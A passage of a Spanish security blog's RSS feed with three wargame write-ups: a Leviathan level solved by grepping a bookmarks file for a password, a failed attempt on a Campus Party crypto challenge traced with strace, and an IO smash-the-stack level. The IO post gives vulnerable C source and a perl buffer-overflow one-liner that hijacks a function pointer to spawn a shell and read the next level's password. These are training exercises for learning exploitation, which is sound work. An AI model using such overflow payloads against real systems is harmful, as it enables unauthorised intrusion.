		<dc:creator>Jordi Prats</dc:creator>
				<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://systemadmin.es/?p=3103</guid>
		<description><![CDATA[El wargame leviathan de intruded.net es bastante sencillo de hacer para todos los que les guste los sistemas UNIX y tengan un rato libre. Vamos a ver como solucionarlo: Nos conectamos la servidor por ssh tal como indica la web y obtenemos las instrucciones basicas: ssh -l level1 leviathan.intruded.net -p 10101 ************************************************* * Welcome to [...]]]></description>
			<content:encoded><![CDATA[<p>El <a href="http://intruded.net/leviathan.html">wargame leviathan de intruded.net</a> es bastante sencillo de hacer para todos los que les guste los <strong>sistemas UNIX</strong> y tengan un rato libre. Vamos a ver como solucionarlo:</p>
<p><!-- more --></p>
<p>Nos conectamos la servidor por <strong>ssh</strong> tal como indica la web y obtenemos las instrucciones basicas:</p>
<pre>
ssh -l level1 leviathan.intruded.net -p 10101
*************************************************
*    Welcome to Intruded.net Wargame Server     *
*                                               *
*       * You are playing "Leviathan"           *
*       * Most levels can be found in /wargame  *
*       * Login: level1:leviathan               *
*       * Support: irc.intruded.net #wargames   *
*                                               *
*                                               *
*       ! Server is restarted every 12 hours    *
*       ! Server is cleaned every reboot        *
*       ! /tmp direcotry is writable            *
*                                               *
*                                               *
*************************************************
level1@leviathan.intruded.net's password:
</pre>
<p>Miramos todos los archivos y nos llama la atención el directorio <strong>.backup</strong>:</p>
<pre>
level1@leviathan:~$ ls -la
total 28
drwx------  3 level1 level1 4096 2008-03-26 02:12 .
drwxr-xr-x 10 root   root   4096 2008-03-26 01:55 ..
drwxr-xr-x  2 root   level1 4096 2008-03-26 02:22 .backup
-rw-r--r--  1 root   root      0 2008-03-26 02:08 .bash_history
-rw-r--r--  1 root   root    220 2008-03-25 22:24 .bash_logout
-rw-r--r--  1 root   root    414 2008-03-25 22:24 .bash_profile
-rw-r--r--  1 root   root   2227 2008-03-25 22:24 .bashrc
-rw-r--r--  1 root   root     10 2008-03-26 01:53 .passwd
</pre>
<p>En él se encuentra un conjunto de bookmarks:</p>
<pre>
level1@leviathan:~$ ls .backup/
bookmarks.html
</pre>
<p>Con un <strong>grep</strong> podemos buscar alguna palabra clave interesante como &#8220;<strong>pass</strong>&#8220;:</p>
<pre>
level1@leviathan:~$ cat .backup/bookmarks.html  | grep pass
&lt;DT&gt;&lt;A HREF="http://nahtaivel.intruded.net/passwordus.html" TEMP: "AFeSdWEf"ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71"&gt;password to level2&lt;/A&gt;
</pre>
<p>Si introducimos en el navegador dicha <strong>URL</strong> obtendremos la contraseña del nivel 2:</p>
<pre>
vFPMNdI0
</pre>
<p>Otros niveles de este <strong>wargame</strong>:</p>
<ul>
<li><strong>leviathan: nivel 1</strong></li>
<li><a href="/2010/12/wargame-leviathan-nivel-2">leviathan: nivel 2</a></li>
<li><a href="/2010/12/wargame-leviathan-nivel-3">leviathan: nivel 3</a></li>
<li><a href="/2010/12/wargame-leviathan-nivel-4">leviathan: nivel 4</a></li>
<li><a href="/2010/12/wargame-leviathan-nivel-5">leviathan: nivel 5</a></li>
<li><a href="/2011/01/wargame-leviathan-nivel-6">leviathan: nivel 6</a></li>
<li><a href="/2011/01/wargame-leviathan-nivel-7">leviathan: nivel 7</a></li>
</ul>

	Tags: <a href="http://systemadmin.es/tag/wargame" title="wargame" rel="tag">wargame</a><br />

	<h4 style="margin-top: 50px">Relacionados</h4>
	<ul class="st-related-posts">
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-8" onclick="pageTracker._trackEvent('relacionados','2661');" title="Wargame narnia: Nivel 8 (22/June/2010)">Wargame narnia: Nivel 8</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-7" onclick="pageTracker._trackEvent('relacionados','2646');" title="Wargame narnia: Nivel 7 (16/June/2010)">Wargame narnia: Nivel 7</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-6" onclick="pageTracker._trackEvent('relacionados','2633');" title="Wargame narnia: Nivel 6 (11/June/2010)">Wargame narnia: Nivel 6</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargane-narnia-nivel-4" onclick="pageTracker._trackEvent('relacionados','2626');" title="Wargame narnia: Nivel 4 (3/June/2010)">Wargame narnia: Nivel 4</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargane-narnia-nivel-3" onclick="pageTracker._trackEvent('relacionados','2622');" title="Wargame narnia: Nivel 3 (1/June/2010)">Wargame narnia: Nivel 3</a></li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://systemadmin.es/2010/12/wargame-leviathan-nivel-1/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>cripto02 de la Campus Party Valencia 2010</title>
		<link>http://systemadmin.es/2010/08/cripto02-de-la-campus-party-valencia-2010</link>
		<comments>http://systemadmin.es/2010/08/cripto02-de-la-campus-party-valencia-2010#comments</comments>
		<pubDate>Tue, 31 Aug 2010 06:14:47 +0000</pubDate>
		<dc:creator>Jordi Prats</dc:creator>
				<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[strace]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://systemadmin.es/?p=2777</guid>
		<description><![CDATA[A principios de agosto se publicaron unos niveles de la Campus Party de Valencia 2010 que no se resolvieron a tiempo: binary03: Para binarios para Windows de Rubén Santarmarta cripto02: Para binario para Linux de Javi Moreno Por lo que me miré el fichero para Linux, sin poder llegar a resolverlo. Vemos que es un [...]]]></description>
			<content:encoded><![CDATA[<p>A principios de agosto se publicaron unos <a href="">niveles de la Campus Party de Valencia 2010</a> que no se resolvieron a tiempo:</p>
<ul>
<li><strong>binary03</strong>: Para binarios para <strong>Windows</strong> de <a href="http://reversemode.com/">Rubén Santarmarta</a></li>
<li><strong>cripto02</strong>: Para binario para <strong>Linux</strong> de <a href="http://vierito.es/wordpress">Javi Moreno</a></li>
</ul>
<p>Por lo que me miré el fichero para <strong>Linux</strong>, sin poder llegar a resolverlo.</p>
<p><!-- more --></p>
<p>Vemos que es un <strong>ELF de 32 bits</strong>:</p>
<pre>
$ file cripto02
cripto02: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped
</pre>
<p>Pero no podemos sacar nada directamente con <strong>objdump</strong>:</p>
<pre>
$ objdump -d ./cripto02

./cripto02:     file format elf32-i386
</pre>
<p>Ni con <strong>gdb</strong>:</p>
<pre>
$ gdb -q ./cripto02
Reading symbols from /home/jprats/cripto02...
warning: no loadable sections found in added symbol-file /home/jprats/cripto02
(no debugging symbols found)...done.
(gdb)
</pre>
<p>Ni con <strong>readelf</strong>:</p>
<pre>
$ readelf -a cripto02
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 03 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - Linux
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0xc3a270
  Start of program headers:          52 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         2
  Size of section headers:           40 (bytes)
  Number of section headers:         0
  Section header string table index: 0

There are no sections in this file.

There are no sections in this file.

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x00c01000 0x00c01000 0x39a7c 0x39a7c R E 0x1000
  LOAD           0x000328 0x080cc328 0x080cc328 0x00000 0x00000 RW  0x1000

There is no dynamic section in this file.

There are no relocations in this file.

There are no unwind sections in this file.

No version information found in this file.
</pre>
<p>Tal como indican:</p>
<pre>
Low level reversing might not be the fastest way to solve this one although it can help.
</pre>
<p>Mas vale concentrarse en otra cosa, por lo que podemos intentar ver algo con <a href="/2008/12/strace-para-seguir-llamadas-a-sistema-y-senyales-de-procesos">strace</a>:</p>
<pre>
$ strace -s 128 -fF ./cripto02
execve("./cripto02", ["./cripto02"], [/* 58 vars */]) = 0
old_mmap(0xc3b000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0xbffff1a80808e020) = 0xc3b000
readlink("/proc/self/exe", "/home/jprats/cripto02", 4096) = 21
old_mmap(0x8048000, 525507, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0xbfffd6d00808e020) = 0x8048000
mprotect(0x8048000, 525504, PROT_READ|PROT_EXEC) = 0
old_mmap(0x80c9000, 5931, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0xbfffd6d00808e020) = 0x80c9000
mprotect(0x80c9000, 5928, PROT_READ|PROT_WRITE) = 0
old_mmap(0x80cb000, 4904, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0xbfffd6d00808e020) = 0x80cb000
brk(0x80cd000)                          = 0x80cd000
munmap(0xc01000, 241664)                = 0
uname({sys="Linux", node="croscat.systemadmin.es", ...}) = 0
brk(0)                                  = 0x80cd000
brk(0x80cdcd0)                          = 0x80cdcd0
set_thread_area({entry_number:-1 -&gt; 6, base_addr:0x80cd830, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
brk(0x80eecd0)                          = 0x80eecd0
brk(0x80ef000)                          = 0x80ef000
clone(Process 8025 attached
child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x80cd898) = 8025
[pid  8025] clone( &lt;unfinished ...&gt;
[pid  8024] fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 20), ...}) = 0
Process 8026 attached
[pid  8025] &lt;... clone resumed&gt; child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x80cd898) = 8026
[pid  8024] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x111000
[pid  8024] write(1, "If you still want to try: \n", 27If you still want to try:
) = 27
[pid  8024] fstat64(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 20), ...}) = 0
[pid  8024] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x112000
[pid  8024] read(0,  &lt;unfinished ...&gt;
[pid  8025] clone( &lt;unfinished ...&gt;
[pid  8026] exit_group(0)               = ?
Process 8026 detached
Process 8027 attached (waiting for parent)
Process 8027 resumed (parent 8025 ready)
[pid  8025] &lt;... clone resumed&gt; child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x80cd898) = 8027
[pid  8025] --- SIGCHLD (Child exited) @ 0 (0) ---
[pid  8027] getuid32()                  = 500
[pid  8025] exit_group(0)               = ?
Process 8025 detached
[pid  8027] exit_group(0)               = ?
Process 8027 detached
&lt;... read resumed&gt; 0x112000, 1024)      = ? ERESTARTSYS (To be restarted)
--- SIGCHLD (Child exited) @ 0 (0) ---
read(0, sasa
"sasa\n", 1024)                 = 5
write(1, "\n", 1
)                       = 1
write(1, "Not the password\n", 17Not the password
)      = 17
exit_group(0)                           = ?
[jprats@croscat ~]$
</pre>
<p>Entre las llamadas podemos ver un <strong>getuid32()</strong>:</p>
<pre>
[pid  8027] getuid32()                  = 500
</pre>
<p>Por lo que podemos ver que ocurre si tenemos otro id, por probar podemos ver que ocurre con <strong>uid=0</strong> (ejecutar como <strong>root</strong>):</p>
<pre>
# strace -s 128 -Ff ./cripto02
execve("./cripto02", ["./cripto02"], [/* 21 vars */]) = 0
[ Process PID=22711 runs in 32 bit mode. ]
old_mmap(0xc3b000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0xc3b000) = 0xc3b000
readlink("/proc/self/exe", "/home/jprats/cripto02", 4096) = 21
old_mmap(0x8048000, 525507, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x8048000
mprotect(0x8048000, 525504, PROT_READ|PROT_EXEC) = 0
old_mmap(0x80c9000, 5931, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0x80000) = 0x80c9000
mprotect(0x80c9000, 5928, PROT_READ|PROT_WRITE) = 0
old_mmap(0x80cb000, 4904, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x80cb000
brk(0x80cd000)                          = 0x80cd000
munmap(0xc01000, 241664)                = 0
uname({sys="Linux", node="stargate.systemadmin.es", ...}) = 0
brk(0)                                  = 0x80cd000
brk(0x80cdcd0)                          = 0x80cdcd0
set_thread_area(0xffcbaa3c)             = 0
brk(0x80eecd0)                          = 0x80eecd0
brk(0x80ef000)                          = 0x80ef000
clone(Process 22712 attached (waiting for parent)
Process 22712 resumed (parent 22711 ready)
child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0) = 22712
[pid 22712] clone( &lt;unfinished ...&gt;
[pid 22711] fstat64(1, Process 22713 attached
 &lt;unfinished ...&gt;
[pid 22712] &lt;... clone resumed&gt; child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0) = 22713
[pid 22711] &lt;... fstat64 resumed&gt; {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
[pid 22712] clone( &lt;unfinished ...&gt;
[pid 22711] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0 &lt;unfinished ...&gt;
[pid 22713] exit_group(0)               = ?
Process 22713 detached
Process 22715 attached
[pid 22712] &lt;... clone resumed&gt; child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0) = 22715
[pid 22711] &lt;... mmap2 resumed&gt; )       = 0xfffffffff7f8e000
[pid 22712] --- SIGCHLD (Child exited) @ 0 (0) ---
[pid 22711] write(1, "If you still want to try: \n", 27If you still want to try:
 &lt;unfinished ...&gt;
[pid 22715] getuid32( &lt;unfinished ...&gt;
[pid 22712] exit_group(0)               = ?
Process 22712 detached
[pid 22711] &lt;... write resumed&gt; )       = 27
[pid 22715] &lt;... getuid32 resumed&gt; )    = 0
[pid 22711] --- SIGCHLD (Child exited) @ 0 (0) ---
[pid 22715] open("/dev/console", O_RDONLY|O_NOCTTY &lt;unfinished ...&gt;
[pid 22711] fstat64(0,  &lt;unfinished ...&gt;
[pid 22715] &lt;... open resumed&gt; )        = 3
[pid 22711] &lt;... fstat64 resumed&gt; {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
[pid 22715] rt_sigaction(SIGINT, {0x1400000008048258, [], SA_STACK|0x4a2b8},  &lt;unfinished ...&gt;
[pid 22711] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0 &lt;unfinished ...&gt;
[pid 22715] &lt;... rt_sigaction resumed&gt; {SIG_DFL}, 8&#41; = 0
[pid 22711] &lt;... mmap2 resumed&gt; )       = 0xfffffffff7f8d000
[pid 22715] rt_sigaction(SIGTERM, {0x1400000008048258, [], SA_STACK|0x4a2b8},  &lt;unfinished ...&gt;
[pid 22711] read(0,  &lt;unfinished ...&gt;
[pid 22715] &lt;... rt_sigaction resumed&gt; {SIG_DFL}, 8&#41; = 0
[pid 22715] rt_sigaction(SIGQUIT, {0x1400000008048258, [], SA_STACK|0x4a2b8}, {SIG_DFL}, <img src='http://systemadmin.es/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> = 0
[pid 22715] rt_sigaction(SIGTSTP, {0x1400000008048258, [], SA_STACK|0x4a2b8}, {SIG_DFL}, <img src='http://systemadmin.es/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> = 0
[pid 22715] ioctl(3, KDSETLED, 0)       = 0
[pid 22715] nanosleep({0, 80000000}, NULL) = 0
[pid 22715] ioctl(3, KDSETLED, 0x2)     = 0
[pid 22715] nanosleep({0, 80000000}, NULL) = 0
[pid 22715] ioctl(3, KDSETLED, 0)       = 0
[pid 22715] nanosleep({0, 80000000}, NULL) = 0
[pid 22715] ioctl(3, KDSETLED, 0x2)     = 0
[pid 22715] nanosleep({0, 80000000}, NULL) = 0
[pid 22715] ioctl(3, KDSETLED, 0)       = 0
[pid 22715] nanosleep({0, 80000000}, NULL) = 0
[pid 22715] ioctl(3, KDSETLED, 0x2)     = 0
[pid 22715] nanosleep({0, 300000000}, NULL) = 0
[pid 22715] ioctl(3, KDSETLED, 0)       = 0
[pid 22715] nanosleep({0, 80000000}, NULL) = 0
[pid 22715] ioctl(3, KDSETLED, 0x2)     = 0
[pid 22715] nanosleep({0, 80000000}, NULL) = 0
[pid 22715] ioctl(3, KDSETLED, 0)       = 0
[pid 22715] nanosleep({1, 200000000}, C &lt;unfinished ...&gt;
Process 22715 detached

Exiting!
</pre>
<p>Apreciamos como crea un proceso que hace parpadear (los <strong>ioctl</strong> con los <strong>nanosleep</strong>) el <strong>numlock</strong>, con la ayuda del <strong>OpenOffice</strong> lo podemos dibujar los tiempos de espera de la llamada <strong>nanosleep</strong>:</p>
<div id="attachment_2778" class="wp-caption aligncenter" style="width: 310px"><a href="http://systemadmin.es/wp-content/uploads/2010/08/tiempo-nanosleeps.png"><img src="http://systemadmin.es/wp-content/uploads/2010/08/tiempo-nanosleeps-300x178.png" alt="tiempo-nanosleeps" title="tiempo-nanosleeps" width="300" height="178" class="size-medium wp-image-2778" /></a><p class="wp-caption-text">tiempo-nanosleeps</p></div>
<p>Podemos apreciar que existe una serie que <strong>se repite tres veces</strong>, por lo que de las <strong>267 muestras</strong> nos quedamos con <strong>89</strong>:</p>
<div id="attachment_2779" class="wp-caption aligncenter" style="width: 310px"><a href="http://systemadmin.es/wp-content/uploads/2010/08/serie-cripto02.png"><img src="http://systemadmin.es/wp-content/uploads/2010/08/serie-cripto02-300x178.png" alt="serie cripto02" title="serie cripto02" width="300" height="178" class="size-medium wp-image-2779" /></a><p class="wp-caption-text">serie cripto02</p></div>
<p>Llegados a este punto pensé en alguna <a href="http://es.wikipedia.org/wiki/Codificaci%C3%B3n_digital">codificación bipolar</a> por el hecho de tener tres valores posibles, <strong>descartando Morse</strong> por este mismo motivo (este es el problema de mi razonamiento). También consideré el cambio de estado del <strong>LED</strong>:</p>
<div id="attachment_2787" class="wp-caption aligncenter" style="width: 310px"><a href="http://systemadmin.es/wp-content/uploads/2010/08/considerando-cambio-estado.png"><img src="http://systemadmin.es/wp-content/uploads/2010/08/considerando-cambio-estado-300x178.png" alt="Con el cambio de estado del LED" title="Con el cambio de estado del LED" width="300" height="178" class="size-medium wp-image-2787" /></a><p class="wp-caption-text">Con el cambio de estado del LED</p></div>
<p>Pero no tenia sentido por tener 89 nuestras, un <strong>numero primo</strong>:</p>
<pre>
$ for i in $(seq 1 89); do echo "89/$i" | bc -l; done | less | grep "\.00"
89.00000000000000000000
1.00000000000000000000
</pre>
<p>Con <strong>88 tenia más sentido</strong> por ser divisible por 8, con lo que serían <strong>11 caracteres</strong>:</p>
<pre>
$ echo "88/8" | bc -l
11.00000000000000000000
</pre>
<p>Por lo que imaginé que tendría algun sentido con la diferéncia entre el valor con el anterior:</p>
<div id="attachment_2788" class="wp-caption aligncenter" style="width: 310px"><a href="http://systemadmin.es/wp-content/uploads/2010/08/diferencia-anterior.png"><img src="http://systemadmin.es/wp-content/uploads/2010/08/diferencia-anterior-300x178.png" alt="Restando el valor actual del anterior" title="Restando el valor actual del anterior" width="300" height="178" class="size-medium wp-image-2788" /></a><p class="wp-caption-text">Restando el valor actual del anterior</p></div>
<p>Pero tampoco apareció nada, por lo que consulté con un amigo y tampoco llegué a ningún lado: solo quedaba <strong>reconocer la derrota</strong>:</p>
<div id="attachment_2852" class="wp-caption aligncenter" style="width: 310px"><a href="http://systemadmin.es/wp-content/uploads/2010/08/epic-fail.jpg"><img src="http://systemadmin.es/wp-content/uploads/2010/08/epic-fail-300x208.jpg" alt="EPIC FAIL" title="EPIC FAIL" width="300" height="208" class="size-medium wp-image-2852" /></a><p class="wp-caption-text">EPIC FAIL</p></div>
<p>Ahora, han publicado la <a href="http://vierito.es/cp2010wargame/sol-crypto02.php">solución de este puzzle</a> por lo que me he lanzado a verla: La <strong>solución que pasaba por el Morse</strong>, que había descartado erróneamente por los tres estados, conjuntamente con el <strong>estado del LED</strong> según estas reglas que he visto en la solución:</p>
<ul>
<li>Si el LED esta apagado y la pausa es de 1,2 segunos es un <strong>separador</strong></li>
<li>Si el LED esta encendido y la pausa es de 0,08 segundos es un <strong>punto</strong></li>
<li>Si el LED esta encendido y la pausa es de 0,3 es una <strong>raya</strong></li>
</ul>
<p>Además me he dado cuenta que vi mal los ceros, por lo que los gráficos están mal:</p>
<pre>
5832  nanosleep({0, 300000000}, NULL)   = 0
5832  nanosleep({0, 80000000}, NULL)    = 0
</pre>
<p>Traduciendo del morse según estas reglas se obtiene <strong>FUNKEYBOARDMORSE</strong>, el cual pasamos al programa tres veces seguidas obtenemos lo siguiente:</p>
<pre>
$ ./cripto02 FUNKEYBOARDMORSEFUNKEYBOARDMORSEFUNKEYBOARDMORSE
\x27\x68\x7f\x7b\x73\x75\x21\x72\x70\x60\x7c\x7e\x63\x3f\x6e\x73\x76\x62\x7b\x67\x36\x64\x72\x63\x61\x26\x2c\x28\x6f\x21\x3c\x29\x33\x21\x27\x24\x2b\x79\x2b\x3c\x61\x2a\x68\x34\x63\x28\x7f\x32
</pre>
<p>El cual tiene un tamaño de <strong>48 bytes</strong>:</p>
<pre>
$ perl -e 'print "\x27\x68\x7f\x7b\x73\x75\x21\x72\x70\x60\x7c\x7e\x63\x3f\x6e\x73\x76\x62\x7b\x67\x36\x64\x72\x63\x61\x26\x2c\x28\x6f\x21\x3c\x29\x33\x21\x27\x24\x2b\x79\x2b\x3c\x61\x2a\x68\x34\x63\x28\x7f\x32";' |wc -c
48
</pre>
<p>Igual que la cadena que le hemos pasado al programa:</p>
<pre>
$ echo -n "FUNKEYBOARDMORSEFUNKEYBOARDMORSEFUNKEYBOARDMORSE" | wc -c
48
</pre>
<p>Luego se debe descifrar con un <strong>XOR</strong>, como se muestra en la solución, se podría usar algo así:</p>
<pre>
chr(ord(c)^ord(code[i]))
</pre>
<p>Con lo que obtendríamos:</p>
<pre>
a=106,c=1283,m=6075,s=0, the solution is x,y,z,w
</pre>
<p>De aquí se supone que deberíamos saber (o <a href="http://www.google.com/search?q=a%3D106,c%3D1283,m%3D6075">encontrar mediante google</a>) que estos valores de inicialización son de un <a href="http://en.wikipedia.org/wiki/Linear_congruential_generator">generador pseudo-aleatorio llamado Linear Congruential Generator</a> que se define según esta formula:</p>
<div id="attachment_2853" class="wp-caption aligncenter" style="width: 249px"><a href="http://systemadmin.es/wp-content/uploads/2010/08/linear-congruential-generator.png"><img src="http://systemadmin.es/wp-content/uploads/2010/08/linear-congruential-generator.png" alt="Linear Congruential Generator" title="Linear Congruential Generator" width="239" height="21" class="size-full wp-image-2853" /></a><p class="wp-caption-text">Linear Congruential Generator</p></div>
<p>Nos indica que la semilla es cero (<strong>s=0</strong>), por lo que:</p>
<pre>
x = (106*0)+1283%6075 = 1283
y = (106*1283)+1283%6075 = 3631
z = (106*3631)+1283%6075 = 3444
w = (106*3444)+1283%6075 = 1847
</pre>
<p>La solución es este <strong>vector</strong>:</p>
<pre>
(x,y,z,w)=(1283,3631,3444,1847)
</pre>
<p>Otra vez será y felicidades a los que lo consiguieron!</p>

	Tags: <a href="http://systemadmin.es/tag/strace" title="strace" rel="tag">strace</a>, <a href="http://systemadmin.es/tag/wargame" title="wargame" rel="tag">wargame</a><br />

	<h4 style="margin-top: 50px">Relacionados</h4>
	<ul class="st-related-posts">
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-8" onclick="pageTracker._trackEvent('relacionados','2661');" title="Wargame narnia: Nivel 8 (22/June/2010)">Wargame narnia: Nivel 8</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-7" onclick="pageTracker._trackEvent('relacionados','2646');" title="Wargame narnia: Nivel 7 (16/June/2010)">Wargame narnia: Nivel 7</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-6" onclick="pageTracker._trackEvent('relacionados','2633');" title="Wargame narnia: Nivel 6 (11/June/2010)">Wargame narnia: Nivel 6</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargane-narnia-nivel-4" onclick="pageTracker._trackEvent('relacionados','2626');" title="Wargame narnia: Nivel 4 (3/June/2010)">Wargame narnia: Nivel 4</a></li>
	<li><a href="http://systemadmin.es/2010/06/wargane-narnia-nivel-3" onclick="pageTracker._trackEvent('relacionados','2622');" title="Wargame narnia: Nivel 3 (1/June/2010)">Wargame narnia: Nivel 3</a></li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://systemadmin.es/2010/08/cripto02-de-la-campus-party-valencia-2010/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>IO wargame (smash the stack) level 3</title>
		<link>http://systemadmin.es/2010/08/io-wargame-smash-the-stack-level-3</link>
		<comments>http://systemadmin.es/2010/08/io-wargame-smash-the-stack-level-3#comments</comments>
		<pubDate>Tue, 10 Aug 2010 07:42:08 +0000</pubDate>
		<dc:creator>Jordi Prats</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://systemadmin.es/?p=2727</guid>
		<description><![CDATA[En este tercer nivel tenemos que modificar el valor de un puntero a función con la dirección de otra función poder obtener la shell. Podemos conseguir esto mediante un buffer overflow: El código del nivel es el siguiente: #include &#60;stdio.h&#62; #include &#60;unistd.h&#62; #include &#60;string.h&#62; int good(int addr) { printf("Address of hmm: %p\n", addr); } int [...]]]></description>
			<content:encoded><![CDATA[<p>En este tercer nivel tenemos que <strong>modificar el valor de un puntero a función</strong> con la dirección de otra función poder obtener la <strong>shell</strong>. Podemos conseguir esto mediante un <strong>buffer overflow</strong>:</p>
<p><!-- more --></p>
<p>El código del nivel es el siguiente:</p>
<pre>
#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;string.h&gt;

int good(int addr) {
	printf("Address of hmm: %p\n", addr);
}

int hmm() {
	printf("Win.\n");
	execl("/bin/sh", "sh", NULL);
}

extern char **environ;

int main(int argc, char **argv) {

	int i, limit;

	for(i = 0; environ[i] != NULL; i++)
	memset(environ[i], 0x00, strlen(environ[i]));

	int (*fptr)(int) = good;
	char buf[32];

	if(strlen(argv[1]) <= 40) limit = strlen(argv[1]);

	for(i = 0; i <= limit; i++) {
		buf[i] = argv[1][i];
		if(i < 36) buf[i] = 0x41;
	}

	int (*hmmptr)(int) = hmm;

	(*fptr)((int)hmmptr);

	return 0;

}
</pre>
<p>Podemos probar de ejecutar el nivel para obtener la dirección de la función <strong>hmm</strong> que nos da la <strong>shell</strong>:</p>
<pre>
level3@io:~$ /levels/level03 aaa
Address of hmm: 0x804847f
</pre>
<p>Tal como hemos visto otras veces en el <a href="/soluciones-del-wargame-narnia">wargame narnia</a> podemos usar <strong>perl</strong> para rellenar el <strong>buffer</strong> y luego dar la nueva dirección del <strong>puntero a función</strong> hmm:</p>
<pre>
level3@io:/levels$ ./level03 $(perl -e 'print "a"x32; print "\x7f\x84\x04\x08"x2;')
Win.
sh-3.2$ cat ~level4/.pass
iazki1ud
</pre>
<p>Ya podemos pasar al siguiente nivel</p>
<div id="attachment_2791" class="wp-caption aligncenter" style="width: 310px"><a href="http://systemadmin.es/wp-content/uploads/2010/08/escucha-la-musica.jpg"><img src="http://systemadmin.es/wp-content/uploads/2010/08/escucha-la-musica-300x154.jpg" alt="La música nos guía" title="La música nos guía" width="300" height="154" class="size-medium wp-image-2791" /></a><p class="wp-caption-text">La música nos guía</p></div>
<p>El listado de soluciones de otros niveles del <strong>wargame de IO de smash the stack</strong> es el siguiente:</p>
<ul>
<li><a href="/2010/08/io-wargame-smash-the-stack-level-1">level 1</a></li>
<li><a href="/2010/08/io-wargame-smash-the-stack-level-2">level 2</a></li>
<li><strong>level 3</strong></li>
<li><a href="/2010/07/io-wargame-smash-the-stack-level-4">level 4</a></li>
</ul>

	Tags: <a href="http://systemadmin.es/tag/seguridad" title="Seguridad" rel="tag">Seguridad</a>, <a href="http://systemadmin.es/tag/wargame" title="wargame" rel="tag">wargame</a><br />

	<h4 style="margin-top: 50px">Relacionados</h4>
	<ul class="st-related-posts">
	<li><a href="http://systemadmin.es/2010/06/wargame-narnia-nivel-5" onclick="pageTracker._trackEvent('relacionados','2631');" title="Wargame narnia: Nivel 5 (4/June/2010)">Wargame narnia: Nivel 5</a></li>
	<li><a href="http://systemadmin.es/2010/05/wargame-narnia-niveles-1-y-2" onclick="pageTracker._trackEvent('relacionados','2541');" title="Wargame narnia (Niveles 1 y 2) (11/May/2010)">Wargame narnia (Niveles 1 y 2)</a></li>
